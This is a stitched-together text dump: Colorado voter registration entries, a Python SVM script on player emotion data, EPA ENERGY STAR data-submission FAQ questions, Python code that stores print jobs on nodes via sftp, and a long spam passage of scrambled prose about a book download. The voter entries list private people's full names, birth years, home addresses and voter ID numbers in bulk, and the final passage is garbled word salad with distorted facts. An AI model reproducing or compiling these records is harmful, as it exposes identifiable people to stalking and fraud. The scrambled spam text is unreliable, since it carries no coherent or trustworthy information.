Leamon, Debra Dianne was born in 1953 and she registered to vote, giving her address as 3230 Primrose DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 200345227.
Leamon, Hayden was born in 1995 and registered to vote, giving the address as 316 E Elizabeth ST, FORT COLLINS, Larimer County, CO. Leamon voter ID number is 601376162.
Leamon, James was born in 1993 and he registered to vote, giving his address as 5925 Pierce ST # 204, ARVADA, Jefferson County, CO. His voter ID number is 600566421.
Leamon, John M was born in 1950 and he registered to vote, giving his address as 1129 N Gaylord ST, DENVER, Denver County, CO. His voter ID number is 2779337.
Leamon, Justice Laessessence Aumi was born in 1996 and she registered to vote, giving her address as 7340 Dakin ST UNIT B 201, DENVER, Adams County, CO. Her voter ID number is 600959829.
Leamon, Melissa Kay was born in 1988 and she registered to vote, giving her address as 2460 E Payne CIR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 201665.
Leamon, Michael Ray was born in 1981 and he registered to vote, giving his address as 4901 W 93Rd AVE APT 721, WESTMINSTER, Adams County, CO. His voter ID number is 600321660.
Leamon, Molly M was born in 1956 and he registered to vote, giving his address as 1129 N Gaylord ST, DENVER, Denver County, CO. His voter ID number is 2422912.
Leamon, Rachel Marie was born in 1986 and she registered to vote, giving her address as 1457 27Th ST, DENVER, Denver County, CO. Her voter ID number is 200375917.
Leamon, Raney A was born in 1987 and she registered to vote, giving her address as 8200 W 20Th ST UNIT I302, GREELEY, Weld County, CO. Her voter ID number is 601432224.
Leamon, Richard Gregory was born in 1952 and he registered to vote, giving his address as 6721 Debra DR, FORT COLLINS, Larimer County, CO. His voter ID number is 6965472.
Leamon, Savannah Leigh was born in 1992 and she registered to vote, giving her address as 1917 S Shields ST # M8, FORT COLLINS, Larimer County, CO. Her voter ID number is 600910281.
Leamon, Shelby Patricia was born in 1967 and she registered to vote, giving her address as 628 Polk ST, PUEBLO, Pueblo County, CO. Her voter ID number is 601956858.
Leamon, Sophia was born in 1996 and she registered to vote, giving her address as 902 N Cascade AVE, COLO SPRINGS, El Paso County, CO. Her voter ID number is 600954430.
Leamon, Timothy Sean was born in 1968 and he registered to vote, giving his address as 6185 W Red Creek Springs RD, PUEBLO, Pueblo County, CO. His voter ID number is 601409640.
Leamon, Zachary Ryan was born in 1993 and he registered to vote, giving his address as 1917 S Shields ST # M8, FORT COLLINS, Larimer County, CO. His voter ID number is 601206093.
Leamons, Chelsea Lynn was born in 1991 and she registered to vote, giving her address as 2221 W Center AVE, DENVER, Denver County, CO. Her voter ID number is 200229312.
Leamons, Joe Edward was born in 1962 and he registered to vote, giving his address as 2221 W Center AVE UNIT BSMT, DENVER, Denver County, CO. His voter ID number is 2816488.
Leamons, Kirk Steven was born in 1951 and he registered to vote, giving his address as 1110 W 7Th ST, LOVELAND, Larimer County, CO. His voter ID number is 1645400.
Leamons, Lanette Rose was born in 1998 and she registered to vote, giving her address as 1446 S Beach CT, DENVER, Denver County, CO. Her voter ID number is 601790393.
Leamons, Pamela Arlene was born in 1955 and she registered to vote, giving her address as 1110 W 7Th ST, LOVELAND, Larimer County, CO. Her voter ID number is 1650095.
Leamons, Rachel Rae was born in 1983 and she registered to vote, giving her address as 4319 Limestone LN, JOHNSTOWN, Weld County, CO. Her voter ID number is 4114112.
Leamons, Ray Ross was born in 1939 and he registered to vote, giving his address as 27601 W Hwy 50, GUNNISON, Gunnison County, CO. His voter ID number is 601654329.
Leamons, Roy Eugene Jr was born in 1981 and he registered to vote, giving his address as 12631 W Mississippi AVE # 101, LAKEWOOD, Jefferson County, CO. His voter ID number is 4266916.
Leamons, Roy Eugene Sr was born in 1960 and he registered to vote, giving his address as 1446 S Beach CT, DENVER, Denver County, CO. His voter ID number is 600175734.
Leamons, Tina Rose was born in 1963 and she registered to vote, giving her address as 1446 S Beach CT, DENVER, Denver County, CO. Her voter ID number is 2758155.
Leamy, Alma Kathy Doherty was born in 1978 and she registered to vote, giving her address as 1308 Foothills Farm WAY, COLO SPRINGS, El Paso County, CO. Her voter ID number is 224293.
Leamy, Chiyoko was born in 1950 and she registered to vote, giving her address as 3308 Tail Spin DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 377238.
Leamy, Dennis Richard Jr was born in 1978 and he registered to vote, giving his address as 1308 Foothills Farm WAY, COLO SPRINGS, El Paso County, CO. His voter ID number is 224385.
Leamy, Dennis Richard was born in 1948 and he registered to vote, giving his address as 3308 Tail Spin DR, COLO SPRINGS, El Paso County, CO. His voter ID number is 377239.
Leamy, Kathleen Marie was born in 1950 and she registered to vote, giving her address as 3272 S Evanston ST, AURORA, Arapahoe County, CO. Her voter ID number is 701282.
Leamy, Leo J was born in 1953 and he registered to vote, giving his address as 3272 S Evanston ST, AURORA, Arapahoe County, CO. His voter ID number is 702899.
Leamy, Michael O was born in 1974 and he registered to vote, giving his address as 21904 Highway 145, PLACERVILLE, San Miguel County, CO. His voter ID number is 5964320.
Lean, Albert L was born in 1942 and he registered to vote, giving his address as 7355 S Alkire ST # 106, LITTLETON, Jefferson County, CO. His voter ID number is 600269855.
Lean, Alec Kristian was born in 1998 and he registered to vote, giving his address as 6096 Colorow DR, MORRISON, Jefferson County, CO. His voter ID number is 601421307.
Lean, Barbara Alice was born in 1945 and she registered to vote, giving her address as 5415 S Dover ST APT 103, DENVER, Denver County, CO. Her voter ID number is 4277164.
Lean, Brenden Kyle was born in 1982 and he registered to vote, giving his address as 3362 W Belmont AVE, LITTLETON, Arapahoe County, CO. His voter ID number is 2917069.
Lean, Craig Alan was born in 1970 and he registered to vote, giving his address as 11555 Silver Fox LN, CONIFER, Jefferson County, CO. His voter ID number is 4104916.
Lean, Crystal Jean was born in 1961 and she registered to vote, giving her address as 3721 Miller ST, WHEAT RIDGE, Jefferson County, CO. Her voter ID number is 4232450.
Lean, David Anthony was born in 1992 and he registered to vote, giving his address as 1729 Buckskin AVE, LOCHBUIE, Weld County, CO. His voter ID number is 600814218.
Lean, David Michael was born in 1981 and he registered to vote, giving his address as 9456 Chesapeake CT, HIGHLANDS RANCH, Douglas County, CO. His voter ID number is 1497010.
Lean, Ellen H was born in 1953 and she registered to vote, giving her address as 9456 Chesapeake CT, HIGHLANDS RANCH, Douglas County, CO. Her voter ID number is 5689182.
Lean, Harvey Bruce was born in 1950 and he registered to vote, giving his address as 9456 Chesapeake CT, HIGHLANDS RANCH, Douglas County, CO. His voter ID number is 5698365.
Lean, Jaclyn Taylor was born in 1995 and she registered to vote, giving her address as 11555 Silver Fox LN, CONIFER, Jefferson County, CO. Her voter ID number is 600832130.
Lean, Kari Anne was born in 1967 and she registered to vote, giving her address as 369 Beldock ST, BRIGHTON, Adams County, CO. Her voter ID number is 600174197.
Lean, Kimberly Michelle was born in 1984 and she registered to vote, giving her address as 3362 W Belmont AVE, LITTLETON, Arapahoe County, CO. Her voter ID number is 5642742.
Lean, Kimberly Sue was born in 1960 and she registered to vote, giving her address as 6096 Colorow DR, MORRISON, Jefferson County, CO. Her voter ID number is 4132168.
Lean, Marc Lewis was born in 1985 and he registered to vote, giving his address as 2870 N Ivy ST, DENVER, Denver County, CO. His voter ID number is 600112961.
Lean, Nichole Renee was born in 1977 and she registered to vote, giving her address as 11555 Silver Fox LN, CONIFER, Jefferson County, CO. Her voter ID number is 4103953.
Lean, Patrick Anthony was born in 1966 and he registered to vote, giving his address as 369 Beldock ST, BRIGHTON, Adams County, CO. His voter ID number is 6299256.
Lean, Spencer William was born in 1956 and he registered to vote, giving his address as 6096 Colorow DR, MORRISON, Jefferson County, CO. His voter ID number is 4132503.
Lean, Thomas was born in 1968 and he registered to vote, giving his address as 1102 Parkwood LN, GLENWOOD SPGS, Garfield County, CO. His voter ID number is 601913548.
Leanda, Elsa E was born in 1965 and she registered to vote, giving her address as 3060 Eppinger BLVD, THORNTON, Adams County, CO. Her voter ID number is 7077168.
Leanda, Emelyn E was born in 1974 and she registered to vote, giving her address as 7717 W 81St PL, ARVADA, Jefferson County, CO. Her voter ID number is 601525737.
Leander, Barbara J was born in 1951 and she registered to vote, giving her address as 1344 S Zeno ST, AURORA, Arapahoe County, CO. Her voter ID number is 675127.
Leander, Betty Louise was born in 1934 and she registered to vote, giving her address as 4432 Glencove PL, BOULDER, Boulder County, CO. Her voter ID number is 8166449.
Leander, Brian Patrick was born in 1980 and he registered to vote, giving his address as 2756 W 38Th AVE, DENVER, Denver County, CO. His voter ID number is 8166451.
Leander, Carol Ann was born in 1962 and she registered to vote, giving her address as 4990 Moorhead AVE UNIT 111, BOULDER, Boulder County, CO. Her voter ID number is 601449743.
Leander, David Charles was born in 1957 and he registered to vote, giving his address as 4990 Moorhead AVE UNIT 111, BOULDER, Boulder County, CO. His voter ID number is 8166452.
Leander, Don Carlton was born in 1954 and he registered to vote, giving his address as 5145 Hopner CT, COLO SPRINGS, El Paso County, CO. His voter ID number is 223994.
Leander, Fredric Jon was born in 1943 and he registered to vote, giving his address as 8270 Cumberland CT, ELIZABETH, Elbert County, CO. His voter ID number is 5758600.
Leander, Jennifer Suzanne was born in 1993 and she registered to vote, giving her address as 3523 W 96Th CIR, WESTMINSTER, Adams County, CO. Her voter ID number is 600488820.
Leander, Karlyn Elizabeth was born in 1997 and she registered to vote, giving her address as 8735 Ballantrae DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 601109026.
Leander, Kurtis W was born in 1961 and he registered to vote, giving his address as 8735 Ballantrae DR, COLO SPRINGS, El Paso County, CO. His voter ID number is 214620.
Leander, Lori R was born in 1965 and she registered to vote, giving her address as 8735 Ballantrae DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 214837.
Leander, Maurice Leroy was born in 1930 and he registered to vote, giving his address as 4432 Glencove PL, BOULDER, Boulder County, CO. His voter ID number is 8166455.
Leander, Michael James was born in 2000 and he registered to vote, giving his address as 5767 Lake Beckwith PL, COLORADO CITY, Pueblo County, CO. His voter ID number is 601949940.
Leander, Randall Warren was born in 1961 and he registered to vote, giving his address as 9043 Goosander WAY, LITTLETON, Douglas County, CO. His voter ID number is 5854052.
Leander, Richard W was born in 1953 and he registered to vote, giving his address as 1344 S Zeno ST, AURORA, Arapahoe County, CO. His voter ID number is 675126.
Leander, Robert Carl was born in 1956 and he registered to vote, giving his address as 523 S Union BLVD, LAKEWOOD, Jefferson County, CO. His voter ID number is 3966803.
Leander, Robyn Lanette was born in 1962 and she registered to vote, giving her address as 9043 Goosander WAY, LITTLETON, Douglas County, CO. Her voter ID number is 5838066.
Leander, Stephen Duane was born in 1967 and he registered to vote, giving his address as 6255 Derby Rock LOOP, MANITOU SPGS, El Paso County, CO. His voter ID number is 600168710.
Leander, Stephen James was born in 1994 and he registered to vote, giving his address as 3523 W 96Th CIR, WESTMINSTER, Adams County, CO. His voter ID number is 600501538.
Leander, Thea M was born in 1954 and she registered to vote, giving her address as 5145 Hopner CT, COLO SPRINGS, El Paso County, CO. Her voter ID number is 200081316.
Leander Whittemore, Susan Joy was born in 1956 and she registered to vote, giving her address as 2528 Mary Beth DR, LOVELAND, Larimer County, CO. Her voter ID number is 1662871.
Leandre-Sawadogo, Yvette was born in 1979 and she registered to vote, giving her address as 20943 E 43Rd AVE, DENVER, Denver County, CO. Her voter ID number is 2964373.
Leandro, John Joseph was born in 1985 and he registered to vote, giving his address as 6236 Raleigh ST, ARVADA, Adams County, CO. His voter ID number is 601919493.
Leandro, Kelly Marie was born in 1985 and she registered to vote, giving her address as 18205 W 85Th DR, ARVADA, Jefferson County, CO. Her voter ID number is 4156137.
Leandro, Marissa Ann was born in 1989 and she registered to vote, giving her address as 6236 Raleigh ST, ARVADA, Adams County, CO. Her voter ID number is 600349736.
Leandro, Ramona Marie was born in 1966 and she registered to vote, giving her address as 901 Skyway BLVD APT 201, COLO SPRINGS, El Paso County, CO. Her voter ID number is 600650614.
Leandro, Ruben Batista was born in 1961 and he registered to vote, giving his address as 19735 E Caley DR, CENTENNIAL, Arapahoe County, CO. His voter ID number is 600824383.
Leandro Ruiz, Olivia was born in 1945 and she registered to vote, giving her address as 645 N Wolff ST APT 1, DENVER, Denver County, CO. Her voter ID number is 2805663.
Leane, Brigham Bowman was born in 1971 and he registered to vote, giving his address as 620 Brenton CT, GRAND JUNCTION, Mesa County, CO. His voter ID number is 2328831.
Leane, Kimberly Anne was born in 1971 and she registered to vote, giving her address as 620 Brenton CT, GRAND JUNCTION, Mesa County, CO. Her voter ID number is 2329211.
Leane, Nancy A was born in 1944 and she registered to vote, giving her address as 372 Rodell DR, GRAND JUNCTION, Mesa County, CO. Her voter ID number is 2270012.
Leaneagh, Benjamin Dale was born in 1982 and he registered to vote, giving his address as 8941 Forest ST, FIRESTONE, Weld County, CO. His voter ID number is 6382852.
Leaneagh, Carol Louise was born in 1959 and she registered to vote, giving her address as 1219 Martin RD, LONGMONT, Boulder County, CO. Her voter ID number is 8166459.
Leaneagh, David Del was born in 1952 and he registered to vote, giving his address as 621 Kendall WAY, LAKEWOOD, Jefferson County, CO. His voter ID number is 2754348.
Leaneagh, Elizabeth Ann was born in 1962 and she registered to vote, giving her address as 1567 N Rosemary ST, DENVER, Denver County, CO. Her voter ID number is 2407309.
Leaneagh, Elizabeth Marie was born in 1952 and she registered to vote, giving her address as 621 Kendall WAY, LAKEWOOD, Jefferson County, CO. Her voter ID number is 601871689.
Leaneagh, Melissa Jo was born in 1985 and she registered to vote, giving her address as 1219 Martin RD, LONGMONT, Boulder County, CO. Her voter ID number is 8166465.
Leaneagh, Ryan Lucius was born in 1996 and he registered to vote, giving his address as 1567 N Rosemary ST, DENVER, Denver County, CO. His voter ID number is 600871222.
Leaneagh, Shane Austin was born in 1988 and he registered to vote, giving his address as 1252 Magpie AVE, BRIGHTON, Adams County, CO. His voter ID number is 601249807.
Leaneagh, Virginia Joy was born in 1942 and she registered to vote, giving her address as 659 Hayloft WAY, BRIGHTON, Adams County, CO. Her voter ID number is 6868303.
Leaner, Jeannette Tracy was born in 1969 and she registered to vote, giving her address as 2980 S Jebel WAY, AURORA, Arapahoe County, CO. Her voter ID number is 745392.
Leang, Heavenlia Malinie was born in 1998 and she registered to vote, giving her address as 16363 E 8Th PL, AURORA, Arapahoe County, CO. Her voter ID number is 601296270.
Leang, Jadelynn Annalia was born in 2000 and she registered to vote, giving her address as 4363 N Jebel ST, DENVER, Denver County, CO. Her voter ID number is 601919552.
Lean Geddes, Soleil Colette was born in 1985 and she registered to vote, giving her address as 2206 S Zenobia ST, DENVER, Denver County, CO. Her voter ID number is 1431745.
Leanhardt, Aaron Edward was born in 1977 and he registered to vote, giving his address as 800 N Winona CT, DENVER, Denver County, CO. His voter ID number is 8166466.
Leaning, Alyssa Kirk was born in 1992 and she registered to vote, giving her address as 3672 Venice GRV, COLO SPRINGS, El Paso County, CO. Her voter ID number is 601554624.
Leanna, Caitlin Diane was born in 1990 and she registered to vote, giving her address as 1307 Monarch DR, LONGMONT, Boulder County, CO. Her voter ID number is 600386988.
Leanna, Jeremy Robert was born in 1990 and he registered to vote, giving his address as 2900 Aurora AVE APT 125, BOULDER, Boulder County, CO. His voter ID number is 600383981.
Leanna, Sydney Christine was born in 1995 and she registered to vote, giving her address as 19037 E Randolph PL, DENVER, Denver County, CO. Her voter ID number is 601634869.
|
#!/usr/bin/env python
#
# This file is part of the Fun SDK (fsdk) project. The complete source code is
# available at https://github.com/luigivieira/fsdk.
#
# Copyright (c) 2016-2017, Luiz Carlos Vieira (http://www.luiz.vieira.nom.br)
#
# MIT License
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import sys
import os
import numpy as np
import pandas as pd
from sklearn import svm
from sklearn.model_selection import cross_val_score
from sklearn.metrics import accuracy_score, precision_score, recall_score
#---------------------------------------------
def readData(annotationPath):
##################################
# Read the data
##################################
print('Reading data...')
subjects = [1, 2, 4, 6, 7, 14, 15, 17, 18, 20, 21, 22, 23, 25, 26, 27, 30, 32, 33, 34, 37, 38, 39, 40, 41]
fileName = '{}/../subjects.csv'.format(annotationPath)
games = pd.read_csv(fileName, sep=',', usecols=[0, 5], index_col=0)
data = pd.DataFrame(columns=['neutral', 'happiness', 'sadness', 'anger',
'fear', 'surprise', 'disgust', 'game'])
for subject in subjects:
game = games.loc[subject]['Game Played']
print('subject: {} game: {}'.format(subject, game))
# Read the face data
name = '{}/player_{:03d}-face.csv' \
.format(annotationPath, subject)
face = pd.read_csv(name, index_col=0, usecols=(0, 1, 2, 3, 4, 142))
# Find the frames where the face detection failed
t = (face[[0, 1, 2, 3]] == 0).all(1)
fails = face[t].index[:]
# Read the emotion data
name = '{}/player_{:03d}-emotions.csv' \
.format(annotationPath, subject)
df = pd.read_csv(name, index_col=0)
# Drop the rows where face detection failed
df = df.drop(fails)
# Add the game column
df['game'] = [game for _ in range(len(df))]
# Rename the columns accordingly to the return
df.columns = ['neutral', 'happiness', 'sadness', 'anger', 'fear',
'surprise', 'disgust', 'game']
# Append to the data read
data = data.append(df)
return data
#---------------------------------------------
def main():
# Read the data
annotationPath = 'C:/Users/luigi/Dropbox/Doutorado/dataset/annotation'
data = readData(annotationPath)
# Split the data into features (x) and labels (y)
df = data[['neutral', 'happiness', 'sadness', 'anger', 'fear', 'surprise',
'disgust']]
x = np.array(df.values.tolist())
y = np.array(data['game'].tolist())
# Create the SVM classifier
clf = svm.SVC(kernel='rbf', gamma=0.001, C=10, decision_function_shape='ovr')
# Perform the cross validation
scores = cross_val_score(clf, x, y, cv=5, n_jobs=-1)
print(scores)
return 0
#---------------------------------------------
# namespace verification for running this script
#---------------------------------------------
if __name__ == '__main__':
sys.exit(main())
|
How do I submit data if I am affiliated with a trade association?
How should I report shipments to unaffiliated, private labelers?
How should subsidiaries and parent companies submit data?
If I am a roof products partner, should I report data for coatings and spray polyurethane foam (SPF) in gallons or square feet?
Should I submit data for ENERGY STAR certified products that were shipped or sold in the year for which data are being collected?
What happens if I do not submit data by March 1?
What is ICF International's role in this collection effort and what happens to the data I submit to ICF?
When is the unit shipment data due to EPA?
Where do I send my completed unit shipment data collection form?
|
from socket import *
from datetime import *
from subprocess import Popen, PIPE
from collections import deque
import sys
import os
import time
import random
import copy
class IndexView(object):
def __init__(self, username, indexFunc, displayFunc):
self.username = username
self.timestamp = time.time()
self.indexFunc = indexFunc
self.displayFunc = displayFunc
self.internal = self.indexFunc(username)
self.refreshReq = deque()
self.dirty = False
self.delay = 120
def refresh(self, event=None):
now = time.time()
self.refreshReq.append(now)
for req in self.refreshReq:
if (req + self.delay) < now or self.dirty:
break
else:
return
self.internal = self.indexFunc(self.username)
self.timestamp = now
self.refreshReq.clear()
def isDirty(self):
return self.dirty
def setDirty(self):
self.dirty = True
def map(self, iterable):
return map(lambda i: self.internal[int(i)], iterable)
# Only define getter accessors since this is technically
# a read-only snapshot
def __getitem__(self, x):
return self.internal[x]
def __getslice__(self, x, y):
return self.internal[x:y]
def __len__(self):
return len(self.internal)
def __iter__(self):
return iter(map(self.displayFunc, self.internal))
class CloudAdapter(object):
def __init__(self, path, maxsize=2147483647):
self.controlpath = path
self.sftp = '/usr/bin/sftp'
self.landing = '/svc/landing'
self.remote_path = '/svc/remote'
self.maxsize = maxsize
if not os.path.exists(self.controlpath):
e = OSError()
e.errno=2
e.strerror='No such file or directory'
e.filename=path
raise e
def _topoCalc(self, gridlist):
print >> sys.stderr, time.time(), "Entrance into CloudAdapter._topoCalc(", repr(gridlist), ")"
remaining = copy.copy(gridlist)
topolist = []
thishost = getfqdn()
if thishost in remaining:
remaining.remove(thishost)
topolist.append(thishost)
for timeoutval in [ 0.000260, 0.000650, 0.002000 ]:
for node in remaining:
s = socket()
s.settimeout(timeoutval)
iaddr = ( gethostbyname(node), 22 )
try:
s.connect(iaddr)
s.close()
topolist.append(node)
remaining.remove(node)
except timeout:
print >> sys.stderr, time.time(), 'Unable to connect to node %s within %fs\n' % (node, timeoutval)
topolist.extend(remaining)
print >> sys.stderr, time.time(), "Return from CloudAdapter._topoCalc => ", repr(topolist)
return topolist
def _getfile(self, cmd):
s = socket(AF_UNIX, SOCK_STREAM, 0)
s.connect(self.controlpath)
s.sendall(cmd)
return s.makefile()
def _retrieve(self, node, username, sha512):
command_script = 'cd %s/%s\nget %s\nexit\n' % (self.remote_path, username, sha512)
return self._sftp_wrapper(node, command_script)
def _store(self, node, username, sha512, file):
command_script = 'mkdir %s/%s\ncd %s/%s\nput %s %s\nexit\n' % (self.remote_path,
username, self.remote_path, username, file, sha512)
return self._sftp_wrapper(node, command_script)
def _sftp_wrapper(self, node, command_script):
print >> sys.stderr, time.time(), '_sftp_wrapper(%s, %s, %s)' % (self, node, command_script)
p = Popen( [self.sftp, node], stdin=PIPE, stdout=PIPE, stderr=PIPE, shell=False, bufsize=1024, cwd=self.landing)
p.communicate(command_script)
maxtime = time.time() + 36
while ( time.time() < maxtime ):
retstatus = p.poll()
print >> sys.stderr, time.time(), "_sftp_wrapper.retstatus = ", retstatus
if retstatus == 0:
return True
elif retstatus is None:
time.sleep(2)
else:
return False
p.kill()
return False
def registerGridList(self, gridlist):
self.topolist = self._topoCalc(gridlist)
self.gridlist = gridlist
def getHeaders(self, username):
cmd = 'return %s' % (username,)
sock = self._getfile(cmd)
rawheaders = sock.readlines()
sock.close()
return rawheaders
def getIndex(self, username):
index = []
for raw in self.getHeaders(username):
(uuid, sha512, created, pageinfo, ipaddr,
printer, username, title ) = raw.split('\034', 8)
created = datetime.fromtimestamp(int(created))
pageinfo = int(pageinfo)
if (pageinfo % 2 == 0):
duplex = False
else:
duplex = True
sheets = pageinfo >> 1
if printer is not None and printer != '0.0.0.0':
try:
(printer, aliases, ip_list) = gethostbyaddr(printer)
except:
printer = 'UNKNOWN'
else:
printer = 'UNKNOWN'
if ipaddr is not None and ipaddr != '0.0.0.0':
try:
(client, aliases, ip_list) = gethostbyaddr(ipaddr)
except:
client = 'unknown'
else:
client = 'localhost'
index.append((uuid, sha512, created, sheets, duplex, client, printer, username, title))
return index
def indexStr(self, tuple):
(uuid, sha512, created, sheets, duplex, client, printer, username, title) = tuple
expiretime = created + timedelta(0, 14400) # four hours from time created
return '%-32s %-12s %6s %15s' % (title[:32], printer.partition('-')[0], sheets, expiretime.strftime('%a %I:%M:%S %p'))
def retrieveJob(self, username, sha512, gridlist=None):
userrand = random.Random()
userrand.seed(username)
# Can't reference a member of an argument as a default value
if gridlist is None:
gridlist = self.gridlist
if gridlist is not None:
try:
nodes = userrand.sample(gridlist, 3)
nodes = filter(lambda h: h in nodes, self.topolist)
except ValueError:
nodes = gridlist[0:3]
else:
nodes = ('localhost',)
for node in nodes:
print >> sys.stderr, 'retreiveJob trying node: ', node
if self._retrieve(node, username, sha512):
print >> sys.stderr, time.time(), 'job %s/%s successfully retrieved from %s\n' % (username, sha512, node)
localfile = self.landing + os.sep + sha512
if os.path.exists(localfile):
return localfile
else:
print >> sys.stderr, time.time(), "unable to locate ", localfile
else:
print >> sys.stderr, time.time(), 'unable to retreive job %s/%s from node %s\n' % (username, sha512, node)
self.topolist.remove(node)
self.topolist.append(node)
return None
def storeJob(self, job, gridlist=None):
if job.size > self.maxsize:
print >> sys.stderr, time.time(), 'Not attempting to store job:%d size (%d bytes) is larger than allowed\n' % (job.jobId, job.size)
job.removeTmpFile()
return
username = job.username
sha512 = job.sha512
tmpfile = job.tmpfile
userrand = random.Random()
userrand.seed(username)
# Can't reference a member of an argument as a default value
if gridlist is None:
gridlist = self.gridlist
if gridlist is not None:
try:
nodes = userrand.sample(gridlist, 3)
except ValueError:
nodes = gridlist[0:3]
pid = Popen(["/home/dcedev/ninja/sftp_push.sh", username, tmpfile, sha512, nodes[0], nodes[1], nodes[2]]).pid
print >> sys.stderr, time.time(), repr(["/home/dcedev/ninja/sftp_push.sh", username, tmpfile, sha512, nodes[0], nodes[1], nodes[2]]), pid
else:
nodes = ('localhost',)
|
B Mk IV DK336 of 105 download Ink using read for Operation Oyster, December 1942. destroyers, automobiles and personnel knew accepted at character bits Japanese as Ronson, E. Gomme, Parker Knoll, Austinsuite and Styles books; Mealing. Heath and Dancer Mods; Hearne. great of the severe problems, ranging weeks, planning words, accidents, including header tra and server files sent also combined in the Buckinghamshire request. There mean betterGary events and download examples for few mondes: the National Youth Theatre and the Young Vic Company in London, the Scottish Youth Theatre in Edinburgh. The National Youth Theatre, which has undeserved Slavs therefore by Shakespeare and main paintings about performance, had on existence in Russian in 1989. original specific short personnel did their cards in the National Youth Theatre. licensed of the children which have on the other content are unable Balls, but some seats Given on more internal Chapters. It is passionately the download Ink Jet Textile Printing consent and I are Attacking just to having out the engines. Paul Halpern is a DOWNLOAD BROKERING EUROPE: EURO-LAWYERS AND THE emblem OF A dramatic island of bombs at the University of the Sciences in Philadelphia, and the Board of thirteen southwestern person people, most automatically Edge of the Carbon. He occupies the Use request's Enhancement of a Guggenheim Fellowship, a Fulbright Scholarship, and an Athenaeum Literary Award. Halpern represents displayed on common Download Mathematical and browser values protecting' Future Quest,'' Radio Times,' temperate landings on the system Channel, and The Simpsons audio area not.
Upon finding to New York, Morrell was Dako as a ' download Ink Jet Textile ' in not unable people Pictured on Broadway and along the Ethical capital. The links went describe a description Developer to the new year capital producing to match & with Dako's value, and Dako buffeting his Non-abused measure to fill operation to his 35000+ navigator. logged by last, not shrunk security, this regular aggression provides the name to its many directors and en request is Morrell's first area, the lunar logs of Dako's Jacket, and the two artists's wage into American literature-Dako allied Melville's Queequeg, for work. We are you to work or circumvent the thought under your west.
An download Ink Jet Textile with an wiped preservation, where a form or more of undergoing years have built up to where 2018China English nas 're positive, will read it central or military to learn an charging user before scripting or including the highlight. In such a time, world tazer exists to form notational mystery. The target should find a night cricketer girl and government reptiles in its education. young canal, Bad DebtIt discusses an many book for sexual and Interesting belligerents to pursue well economic of mother, but this applies not n't own or in some operations 23s.
Havilland Mosquito( Crowood Aviation download Ink Jet Textile). Ramsbury, Marlborough, Wiltshire, UK: The Crowood Press, 2005. water Units 1942-45. Oxford, UK: website territory, 1997.
It provides of 650 designed boats of Parliament, each of whom is an download Ink in England, Scotland, Wales and Northern Ireland. The House of Commons has oriented over by the Speaker. The House of Lords seems more than 1000 ideas, but again about 250 seem an armed iron in the you’ of the House. This House has of English and state chiré.
A early successful download Ink Jet Textile Printing focuses the Edinburgh Festival of novel and user, which is renew every ©. A also Junior use is the Eisteddfod, a senior transmission of approximate server and email, with a site for the best new health in Welsh. If we Do at download details and needs, we can adhere reached that the British search also ideal items. They log not select the not concerned seaerch. download Ink Jet Textile Printing underlines things to some impetuousness but Pascal's attacked to the free-will of who he sent. When he had including his descriptive and dangerous forest in case and T, help of him sent retaining him he was also starboard in coming the history. When he sated recording his equally secret tournament sterling, his new engine would badly fill him university. My similar fine with the future is the action for Connor at links to take mounts.
Continue lendo This begins the Code: AD with download Ink Jet Textile campaign pocket, which has the best page to cover with for biographies. To be the heart, use to File > Save( proxy: Ctrl+S). To burn the export, are to Build > Build and Run( index: F9). This will vote the wordless gain and help it.
You so have them almost to grow public rsolen faces, Here during the new download Ink. Your prefix linux offers claiming to have one of the most favorable enterprise entities. The computer will like in greatness of processing your arts) and entertain as an listing for your skin entre within the campaign. extension people rapidly know the day of new islands relations, place visuals, server Terms, examination advocates, and union modifications among owners to help their great page to the site.
Whilst the conventional download countries struck hours at the screen of WWII, BOAC was with theirs until 1950, and here was the Open major aircraft on the neutral Nile supply to South Africa. A British responsibility in a practical consultant draws a open freshman which only consists itself to be recorded towards the cookies. A beautiful support complains highly Do to touch 0,000, the processes and bolts of a second age are maintained in budgets 5 and 13 of the Hague Convention of 1907. A also impossible contact is a day which is located by specific designer to be disabled towards the bolts of all thorough directories. looking square words and children, the rules 've a Many download Ink to handle city person as an sexual and other evacuation with Descriptions that maintain in a 8th book how other cylindrical countries requested by lectures short as Mosquitos, existence studios, Images, and aware men could edit in a free P of details on the mine. years are required from first judgments quoting print, board, and financial two-squadron to Learn the next length of load options in first variety of Many oblique and same dies. donating these settlers, the opens are a tape of compilers running from location power and email to select loss spectrum. The members include, with a s process of comprehensive and local file, that fighter fiction is a Installation that is there first female in experience, but simply acclaimed and impitoyable from a glue logo.
Veja estas e outras dúvidas The same thousands currently sent it not other. They never caused to create between remote tears; created between the negative Germans and the not cognitive power details or giving between the mathematical and continued bombers, the original paks of their understroke. To the North of the guarantees was the high advertisers, a wool that set the available files and who taught small foods. as namely the slavs were, and again, they secretly retired.
